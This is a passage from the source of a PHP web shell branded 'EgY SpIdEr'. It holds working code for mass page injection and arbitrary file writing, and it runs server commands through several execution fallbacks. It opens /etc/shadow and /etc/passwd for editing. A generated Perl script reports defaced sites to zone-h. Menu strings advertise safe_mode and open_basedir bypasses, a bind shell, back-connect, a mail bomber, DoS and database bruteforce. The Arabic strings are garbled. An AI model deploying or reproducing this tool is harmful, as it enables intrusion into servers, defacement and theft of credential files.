1627 echo $injectj00.' was injected<br>';
1628 } else {
1629 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1630 }
1631 }
1632 } else { //end if inputted dir is real -- if not, show an ugly red error
1633 echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
1634 } // end if inputted dir is real, for real this time
1635} // end if confirmation to mass sploit is go
1636} // end if massbrowsersploit is called
1637
1638
1639
1640if ($dlink=='showsrc'){
1641print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>";
1642input ("text","tools&dlink=showsrc","",35);print " ";
1643input ("hidden","scdir",$scdir,22);input ("submit","tools&dlink=showsrc","Show-src","");print $ef; die();}if(isset($_REQUEST['tools&dlink=showsrc'])){callshsrc(trim($_REQUEST['showsc']));}
1644if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt']))
1645{if (touch ($_REQUEST['indx'])==true){
1646$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt']));
1647fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Edit again</a>
1648] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}}
1649if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){
1650print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt>
1651Your index contents here</textarea></p>";
1652input ("text","indx","Index-name",35);print " ";
1653input ("submit","qindsub","Create","");print $ef;die();}
1654if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){
1655$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
1656if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();}
1657if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){
1658print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt>
1659Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " ";
1660input ("submit","mailsub","Send-mail","");print $ef;die();}
1661if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);}
1662function callzone($nscdir){
1663if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";}
1664else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";}
1665fwrite ($fpz,"\$arq = @ARGV[0];
1666\$grupo = @ARGV[1];
1667chomp \$grupo;
1668open(a,\"<\$arq\");
1669@site = <a>;
1670close(a);
1671\$b = scalar(@site);
1672for(\$a=0;\$a<=\$b;\$a++)
1673{chomp \$site[\$a];
1674if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
1675print \"[+] Sending \$site[\$a]\n\";
1676use IO::Socket::INET;
1677\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
1678print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
1679print \$sock \"Accept: */*\r\n\";
1680print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
1681print \$sock \"Accept-Language: pt-br\r\n\";
1682print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
1683print \$sock \"Connection: Keep-Alive\r\n\";
1684print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
1685print \$sock \"Host: old.zone-h.org\r\n\";
1686print \$sock \"Content-Length: 385\r\n\";
1687print \$sock \"Pragma: no-cache\r\n\";
1688print \$sock \"\r\n\";
1689print \$sock \"notify_defacer=\$grupo¬ify_domain=http%3A%2F%2F\$site[\$a]¬ify_hackmode=22¬ify_reason=5¬ify=+OK+\r\n\";
1690close(\$sock);}");
1691if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']);
1692}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet'];
1693if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru))
1694{print "[ Can't complete the operation !! ]";}
1695else {callfuncs("chmod 777 $zpl;chmod 777 $li");
1696ob_start();callfuncs("perl $zpl $li $zonet");ob_clean();
1697print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();}
1698}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){
1699print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt>
1700www.site1.com
1701www.site2.com
1702</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " ";
1703input ("submit","zonesub","Send","");print $ef;die();}
1704print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>";
1705function inisaf($iniv) { $chkini=ini_get($iniv);
1706if(($chkini || strtolower($chkini)) !=='on'){print"<font color=olive><b>OFF ( Not secured )</b></font>";} else{
1707print"<font color=red><b>ON ( Secured )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif);
1708if ($chkin==""){print " <font color=red><b>None</b></font>";}
1709else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=olive>".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);}
1710elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r');
1711while (!feof($opop)){ $nval= fgetc($opop);}}
1712elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){
1713ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();}
1714if($nval=$owhich){print"<font color=red><b>ON</b></font>";}
1715else{print"<font color=olive><b>OFF</b></font>";} }
1716print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1717
1718
1719 if(isset($_GET['egy']))
1720 {
1721 echo $head;
1722 echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1723 $memf = @file("meminfo");
1724 if($memf)
1725 {
1726 $c = sizeof($memf);
1727 for($i=0;$i<$c;$i++)
1728 {
1729 $info = explode(":",$memf[$i]);
1730 if($info[1]==""){ $info[1]="---"; }
1731 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1732 }
1733 echo $r;
1734 }
1735 else
1736 {
1737 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
1738 <font face="tahoma" size="-2"><b>
1739 <p align="center"> </p>
1740 <p align="center">
1741 <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1742<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p>
1743 <p align="center"> </p>
1744 <div id="n" align="center">
1745 </div>
1746 <p> </font></b></div>
1747</b></font></div></td></tr>';
1748 }
1749 echo '</table>';
1750 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1751 die();
1752 }
1753 if(isset($_GET['news']))
1754 {
1755 echo $head;
1756 echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1757 $memf = @file("meminfo");
1758 if($memf)
1759 {
1760 $c = sizeof($memf);
1761 for($i=0;$i<$c;$i++)
1762 {
1763 $info = explode(":",$memf[$i]);
1764 if($info[1]==""){ $info[1]="---"; }
1765 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1766 }
1767 echo $r;
1768 }
1769 else
1770 {
1771 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
1772 <font face="tahoma" size="-2"><b>
1773 <p align="center"> </p>
1774 <p align="center">
1775 <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1776<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p>
1777 <p align="center"> </p>
1778 <div id="n" align="center">
1779 </div>
1780 <p> </font></b></div>
1781</b></font></div></td></tr>';
1782 }
1783 echo '</table>';
1784 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1785 die();
1786 }
1787
1788
1789if(isset($_GET['5']))
1790 {$_POST['cmd'] = 'systeminfo';}
1791if(isset($_GET['6']))
1792 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
1793if(isset($_GET['7']))
1794 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
1795if(isset($_GET['8']))
1796 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
1797if(isset($_GET['9']))
1798 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
1799if(isset($_GET['10']))
1800 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
1801if(isset($_GET['13']))
1802 {$_POST['cmd']='cat /proc/cpuinfo';}
1803if(isset($_GET['14']))
1804 {$_POST['cmd']='cat /proc/version';}
1805if(isset($_GET['15']))
1806 {$_POST['cmd'] = 'free';}
1807if(isset($_GET['16']))
1808 {$_POST['cmd'] = 'dmesg(8)';}
1809if(isset($_GET['17']))
1810 {$_POST['cmd'] = 'vmstat';}
1811if(isset($_GET['18']))
1812 {$_POST['cmd'] = 'lspci';}
1813if(isset($_GET['19']))
1814 {$_POST['cmd'] = 'lsdev';}
1815if(isset($_GET['20']))
1816 {$_POST['cmd']='cat /proc/interrupts';}
1817if(isset($_GET['21']))
1818 {$_POST['cmd'] = 'cat /etc/*realise';}
1819if(isset($_GET['22']))
1820 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
1821if(isset($_GET['23']))
1822 {$_POST['cmd'] = 'lsattr -va';}
1823if(isset($_GET['24']))
1824 {$_POST['cmd'] = 'w';}
1825if(isset($_GET['25']))
1826 {$_POST['cmd'] = 'who';}
1827if(isset($_GET['26']))
1828 {$_POST['cmd'] = 'uptime';}
1829if(isset($_GET['27']))
1830 {$_POST['cmd'] = 'last -n 10';}
1831if(isset($_GET['28']))
1832 {$_POST['cmd'] = 'ps -aux';}
1833if(isset($_GET['29']))
1834 {$_POST['cmd'] = 'service --status-all';}
1835if(isset($_GET['30']))
1836 {$_POST['cmd'] = 'ifconfig';}
1837if(isset($_GET['31']))
1838 {$_POST['cmd'] = 'netstat -a';}
1839if(isset($_GET['32']))
1840 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
1841if(isset($_GET['33']))
1842 {$_POST['cmd'] = 'fdisk -l';}
1843if(isset($_GET['34']))
1844 {$_POST['cmd'] = 'df -h';}
1845
1846#if(isset($_GET['']))
1847# {$_POST['cmd'] = '';}
1848
1849$lang=array(
1850'ar_text1' =>'����� ������',
1851'ar_text2' =>'����� ������� �� �������',
1852'ar_text3' =>'��� �������',
1853'ar_text4' =>'���� ���� ���� ��� �������',
1854'ar_text5' =>'��� ��� ��� �������',
1855'ar_text6' =>'���� ����',
1856'ar_text7' =>'����� �����',
1857'ar_text8' =>'���� �����',
1858'ar_butt1' =>'�����',
1859'ar_butt2' =>'����',
1860'ar_text9' =>'��� ���� �� ������� ��� /bin/bash',
1861'ar_text10'=>'�����',
1862'ar_text11'=>'������ ������',
1863'ar_butt3' =>'���',
1864'ar_text12'=>'������ �����',
1865'ar_text13'=>'���� ��',
1866'ar_text14'=>'������',
1867'ar_butt4' =>'������',
1868'ar_text15'=>'��� ����� ��� �������',
1869'ar_text16'=>'�� ����',
1870'ar_text17'=>'���� �����',
1871'ar_text18'=>'���� �����',
1872'ar_text19'=>'Exploits',
1873'ar_text20'=>'������',
1874'ar_text21'=>'����� ������',
1875'ar_text22'=>'����� ��������',
1876'ar_text23'=>'������ ������',
1877'ar_text24'=>'������� ������',
1878'ar_text25'=>'������ ������',
1879'ar_text26'=>'������',
1880'ar_butt5' =>'�����',
1881'ar_text28'=>'����� �� ����� �����',
1882'ar_text29'=>'����� ������',
1883'ar_butt6' =>'����',
1884'ar_text30'=>'��� ���',
1885'ar_butt7' =>'���',
1886'ar_text31'=>'����� ��� �����',
1887'ar_text32'=>'����� ��� php �� ���� ���� eval',
1888'ar_text33'=>'Test bypass open_basedir with cURL functions',
1889'ar_butt8' =>'������',
1890'ar_text34'=>'����� ������� �� ���� ���� include',
1891'ar_text35'=>'����� ������� �� ���� ���� Mysql',
1892'ar_text36'=>'������� . ������',
1893'ar_text37'=>'��� ��������',
1894'ar_text38'=>'���� ������',
1895'ar_text39'=>'�������',
1896'ar_text40'=>'���� �� ����� �������',
1897'ar_butt9' =>'����',
1898'ar_text41'=>'��� ������ ��',
1899'ar_text42'=>'����� �������',
1900'ar_text43'=>'����� ������ ������',
1901'ar_butt10'=>'���',
1902'ar_text44'=>'�������� ������� ��� ��� ����� ��� ����',
1903'ar_text45'=>'�� �����',
1904'ar_text46'=>'��� phpinfo()',
1905'ar_text47'=>'���� ��������� �� php.ini',
1906'ar_text48'=>'��� ����� ��� temp',
1907'ar_butt11'=>'����� �����',
1908'ar_text49'=>'��� ������� �� �������',
1909'ar_text50'=>'��� ������� ������� ��������',
1910'ar_text51'=>'��� ������� �������',
1911'ar_text52'=>'��� ��',
1912'ar_text53'=>'�� ������',
1913'ar_text54'=>'��� �� �� �� �������',
1914'ar_butt12'=>'���',
1915'ar_text55'=>'��� �� �������',
1916'ar_text56'=>'������ :(',
1917'ar_text57'=>'�����/��� ���/����',
1918'ar_text58'=>'�����',
1919'ar_text59'=>'���',
1920'ar_text60'=>'����',
1921'ar_butt13'=>'����� /���',
1922'ar_text61'=>'�� ����� �����',
1923'ar_text62'=>'�� ����� ������',
1924'ar_text63'=>'�� ��� �����',
1925'ar_text64'=>'�� ��� ������',
1926'ar_butt65'=>'�����',
1927'ar_text66'=>'���',
1928'ar_text67'=>'�������/��������/��������',
1929'ar_text68'=>'���',
1930'ar_text69'=>'��� �����',
1931'ar_text70'=>'�������',
1932'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
1933'ar_text72'=>'���� ������',
1934'ar_text73'=>'��� �� ��������',
1935'ar_text74'=>'��� �� �������',
1936'ar_text75'=>'* you can use regexp',
1937'ar_text76'=>'����� �� �� �� ����� ������ find',
1938'ar_text80'=>'�����',
1939'ar_text81'=>'���������',
1940'ar_text82'=>'����� ��������',
1941'ar_text83'=>'����� ��� �������',
1942'ar_text84'=>'������� �����',
1943'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
1944'ar_text86'=>'����� ����� �� �������',
1945'ar_butt14'=>'�����',
1946'ar_text87'=>'����� ����� �� ���� ���� �� ��',
1947'ar_text88'=>'����� ���� �� ��:������',
1948'ar_text89'=>'��� �� ���� �� ��',
1949'ar_text90'=>'������� ���',
1950'ar_text91'=>'�����',
1951'ar_text92'=>'�� ��� �������',
1952'ar_text93'=>'���� �� ��',
1953'ar_text94'=>'����� ���� �� ��',
1954'ar_text95'=>'����� ����������',
1955'ar_text96'=>'�� ����� ��� ����� ����������',
1956'ar_text97'=>'�� �����: ',
1957'ar_text98'=>'�� �����: ',
1958'ar_text99'=>'* ������ ����� ���������� �� ��� /etc/passwd ����� ��� ftp',
1959'ar_text100'=>'����� ��� ��� ���� ���� �� ��',
1960'ar_text101'=>'������ ������� ������ ��������',
1961'ar_text102'=>'����� ������',
1962'ar_text103'=>'����� ����',
1963'ar_text104'=>'����� ��� ��� �������',
1964'ar_text105'=>'���',
1965'ar_text106'=>'���',
1966'ar_text107'=>'�������',
1967'ar_butt15'=>'�����',
1968'ar_text108'=>'�������',
1969'ar_text109'=>'����',
1970'ar_text110'=>'���',
1971'ar_text111'=>'����� ����� �������� : ������',
1972'ar_text112'=>'����� ������� �� ���� ���� ���� mb_send_mail',
1973'ar_text113'=>'����� ����� �������� �� ���� via imap_list',
1974'ar_text114'=>'����� ������� �� ���� ���� via imap_body',
1975'ar_text115'=>'����� ������� �� ���� compress.zlib://',
1976'ar_text116'=>'��� ��',
1977'ar_text117'=>'���',
1978'ar_text118'=>'�� ��� �����',
1979'ar_text119'=>'�������� �����',
1980'ar_err0'=>'���� ! ������ ������� ��� ��� ����� ',
1981'ar_err1'=>'���� ! ��� ���� ��� ����� ��� ����� ',
1982'ar_err2'=>'����! ������ ������� ',
1983'ar_err3'=>'����! ��� ���� ��� ������� ����� �� ��',
1984'ar_err4'=>'���� ! �������� ������ ��� ����� ���� �� ��',
1985'ar_err5'=>'���� ! �������� ���� ������ �� ���� �� ��',
1986'ar_err6'=>'���� ! �������� ����� �����',
1987'ar_err7'=>'������ ����',
1988'ar_text200'=>'copy()����� ������� �� ���� ����',
1989'ar_text202'=>'���� ����� ������ ������',
1990'ar_text300'=>'curl()����� ������� �� ���� ����',
1991'ar_text203'=>'ini_restore()����� ������� �� ���� ����',
1992'ar_text204'=>'error_log()����� ������� �� ���� ����',
1993'ar_text205'=>'���� ���� ��� ��� ������',
1994'ar_text206'=>'����� ������� ������',
1995'ar_text207'=>'����� ������� �������� �� ���� ���� reg_glob',
1996'ar_text208'=>'����� ������� �� ����� ����� �� ���� ������',
1997'ar_text209'=>'����� ������� �������� �� ���� ���� root',
1998'ar_text210'=>'�� ����� ����� ',
1999'ar_text211'=>'::����� ����� ���::',
2000'ar_text212'=>'php.ini ����� ����� ��� �� ���� ��� ���',
2001'ar_text213'=>'htacces ����� ����� ������� �� ���� ��� ���',
2002'ar_text214'=>'��� ������',
2003'ar_text215'=>'����� ������� IRC ',
2004'ar_text216'=>'# ��� ������ ��',
2005'ar_text217'=>'��� ������� �������',
2006'ar_text218'=>'������ ����� ��� ini_restore ��� ��� ����� ��� ����',
2007'ar_text219'=>'��� ����� ��� ������� ����� ����� ������ �����',
2008'ar_text220'=>'������� ������� �� ���� ���� symlink ������ ������',
2009'ar_text221'=>'��� ������� �������� �� ������(��� ������� ������ ��� ������ ����� �������� ������)1',
2010'ar_text222'=>'������� ������� �� ���� ���� symlink ������ �������',
2011'ar_text223'=>'����� ������� �� ���� ������',
2012'ar_text224'=>'PLUGIN ����� ������� �� ���� ���� ',
2013'ar_text143'=>'�����: ',
2014'ar_text65'=>'�����',
2015
2016
2017'ar_text33'=>'���� ����� ��� � open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2018'ar_text34'=>'����� ������� �� ���� ���� include function',
2019'ar_text35'=>'����� ������� �� ���� ���� load file in mysql',
2020'ar_text85'=>'����� ������� �� ���� ���� commands execute via MSSQL server',
2021'ar_text112'=>'����� ������� �� ���� ���� function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2022'ar_text113'=>'���� ����� ��� � safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2023'ar_text114'=>'���� ����� ��� � safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2024'ar_text115'=>'���� ����� ��� � safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2025'ar_text116'=>'Copy from',
2026'ar_text117'=>'to',
2027'ar_text118'=>'File copied',
2028'ar_text119'=>'Cant copy file',
2029'ar_text120'=>'���� ����� ��� � safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2030'ar_text121'=>'���� ����� ��� � open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2031'ar_text122'=>'���� ����� ��� � open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2032'ar_text123'=>'���� ����� ��� � open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2033'ar_text124'=>'���� ����� ��� � open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2034'ar_text126'=>'���� ����� ��� � open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2035'ar_text127'=>'���� ����� ��� � open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2036'ar_text128'=>'Modify/Access file (touch)',
2037'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2038'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2039'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2040'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2041'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2042'ar_err3'=>'Error! Can\'t connect to ftp',
2043'ar_err4'=>'Error! Can\'t login on ftp server',
2044'ar_err5'=>'Error! Can\'t change dir on ftp',
2045'ar_err6'=>'Error! Can\'t sent mail',
2046'ar_err7'=>'Mail send',
2047'ar_text1' =>'Executed command',
2048'ar_text2' =>'Execute command on server',
2049'ar_text33'=>'���� ����� ��� � open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2050'ar_text34'=>'����� ������� �� ���� ���� include function',
2051'ar_text35'=>'����� ������� �� ���� ���� load file in mysql',
2052'ar_text112'=>'����� ������� �� ���� ���� function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2053'ar_text113'=>'���� ����� ��� � safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2054'ar_text114'=>'���� ����� ��� � safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2055'ar_text115'=>'���� ����� ��� � safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2056'ar_text120'=>'���� ����� ��� � safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2057'ar_text121'=>'���� ����� ��� � open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2058'ar_text122'=>'���� ����� ��� � open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2059'ar_text123'=>'���� ����� ��� � open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2060'ar_text124'=>'���� ����� ��� � open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2061'ar_text126'=>'���� ����� ��� � open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2062'ar_text127'=>'���� ����� ��� � open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2063'ar_text128'=>'Modify/Access file (touch)',
2064'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2065'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2066'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2067'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2068'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2069'ar_text142'=>'Downloaders',
2070'ar_text137'=>'Useful',
2071'ar_text128'=>'Modify/Access file (touch)',
2072'ar_text129'=>'���� ����� ��� � open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2073'ar_text130'=>'���� ����� ��� � open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2074'ar_text131'=>'���� ����� ��� � open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2075'ar_text132'=>'���� ����� ��� � open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2076'ar_text133'=>'���� ����� ��� � open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2077'ar_text134'=>'Database-bruteforce',
2078'ar_text135'=>'Dictionary',
2079'ar_text136'=>'Creating evil symlink',
2080'ar_text137'=>'Useful',
2081'ar_text138'=>'Dangerous',
2082'ar_text139'=>'Mail Bomber',
2083'ar_text140'=>'DoS',
2084'ar_text141'=>'Danger! Web-daemon crash possible.',
2085'ar_text142'=>'Downloaders',
2086'ar_text143'=>'Temp: ',
2087'ar_text144'=>'����� ������� �� ���� ���� load file in mysqli',
2088'ar_text145'=>'���� ����� ��� � open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2089'ar_text146'=>'Max Interation',
2090'ar_text147'=>'',
2091'ar_text148'=>'',
2092'ar_text149'=>'',
2093'ar_text150'=>'',
2094'ar_err0'=>'Error! Can\'t write in file ',
2095'ar_err1'=>'Error! Can\'t read file ',
2096'ar_err2'=>'Error! Can\'t create ',
2097'ar_err3'=>'Error! Can\'t connect to ftp',
2098'ar_err4'=>'Error! Can\'t login on ftp server',
2099'ar_err5'=>'Error! Can\'t change dir on ftp',
2100'ar_err6'=>'Error! Can\'t sent mail',
2101'ar_err7'=>'Mail send',
2102'ar_text125'=>'Data',
2103'ar_text225'=>'��� ��� ������� �� ���� ����� �������� � 4.4.7 / 5.2.3 PHP ',
2104'ar_text226'=>'���� ����� ��� ����� Root Directory: ',
2105'ar_text227'=>'��� ��� ����� ���� ��� ����� 4.4.2/5.1.2',
2106'ar_text228'=>'��� ��� ����� ������� ������ ���� �� ',
2107'ar_text230'=>'��� ��� ������ ����� ������ ������ ������� ���� ����� ',
2108'ar_text151'=>'���� ����� ��� � chdir()and ftok() (PHP <= 5.2.6)',
2109'ar_text161'=>'���� ����� ��� � posix_access() (posix ext) (PHP <= 5.2.6)',
2110'ar_text147'=>'',
2111'ar_text148'=>'',
2112'ar_text149'=>'',
2113'ar_text150'=>'',
2114'ar_text159'=>'������� �� egy spider',
2115'ar_text152'=>'��� �������',
2116'ar_text153'=>'���� ',
2117'ar_text154'=>'��� ����� ����� ',
2118'ar_text155'=>'��� ����� ',
2119'ar_text156'=>'��� ����� ',
2120'ar_text157'=>'������� �� ����� ��� ',
2121'ar_text158'=>'����� ������� ',
2122'ar_text160'=>'������� ',
2123'ar_text162'=>'����� ������ ����� ����� ��� �� ���� ionCube (PHP <= 5.2.4)',
2124'ar_text163'=>'����� ������ ��� ������� ',
2125'ar_text170'=>' ���� ����� ��� ������� � Posix_getpw(PHP <= 4.2.0)',
2126'ar_text171'=>' PHP (Win32std) Extension ���� ����� ��� ����� ������ (PHP <= 5.2.3)',
2127'ar_text180'=>'���� �������� ����� �� ',
2128/* --------------------------------------------------------------- */
2129'eng_butt1' =>'Execute',
2130'eng_butt2' =>'Upload',
2131'eng_butt3' =>'Bind',
2132'eng_butt4' =>'Connect',
2133'eng_butt5' =>'Run',
2134'eng_butt6' =>'Change',
2135'eng_butt7' =>'Show',
2136'eng_butt8' =>'Test',
2137'eng_butt9' =>'Dump',
2138'eng_butt10'=>'Save',
2139'eng_butt11'=>'Edit file',
2140'eng_butt12'=>'Find',
2141'eng_butt13'=>'Create/Delete',
2142'eng_butt14'=>'Download',
2143'eng_butt15'=>'Send',
2144'eng_text1' =>'Executed command',
2145'eng_text2' =>'Execute command on server',
2146'eng_text3' =>'Run command',
2147'eng_text4' =>'Work directory',
2148'eng_text5' =>'Upload files on server',
2149'eng_text6' =>'Local file',
2150'eng_text7' =>'Aliases',
2151'eng_text8' =>'Select alias',
2152'eng_text9' =>'Bind port to /bin/bash',
2153'eng_text10'=>'Port',
2154'eng_text11'=>'Password for access',
2155'eng_text12'=>'back-connect',
2156'eng_text13'=>'IP',
2157'eng_text14'=>'Port',
2158'eng_text15'=>'Upload files from remote server',
2159'eng_text16'=>'With',
2160'eng_text17'=>'Remote file',
2161'eng_text18'=>'Local file',
2162'eng_text19'=>'Exploits',
2163'eng_text20'=>'Use',
2164'eng_text21'=>' New name',
2165'eng_text22'=>'datapipe',
2166'eng_text23'=>'Local port',
2167'eng_text24'=>'Remote host',
2168'eng_text25'=>'Remote port',
2169'eng_text26'=>'Use',
2170'eng_text28'=>'Work in safe_mode',
2171'eng_text29'=>'ACCESS DENIED',
2172'eng_text30'=>'Cat file',
2173'eng_text31'=>'File not found',
2174'eng_text32'=>'Eval PHP code',
2175'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2176'eng_text34'=>'Test bypass safe_mode with include function',
2177'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2178'eng_text36'=>'Database . Table',
2179'eng_text37'=>'Login',
2180'eng_text38'=>'Password',
2181'eng_text39'=>'Database',
2182'eng_text40'=>'Dump database table',
2183'eng_text41'=>'Save dump in file',
2184'eng_text42'=>'Edit files',
2185'eng_text43'=>'File for edit',
2186'eng_text44'=>'Can\'t edit file! Only read access!',
2187'eng_text45'=>'File saved',
2188'eng_text46'=>'Show phpinfo()',
2189'eng_text47'=>'Show variables from php.ini',
2190'eng_text48'=>'Delete temp files',
2191'eng_text49'=>'Delete script from server',
2192'eng_text50'=>'View cpu info',
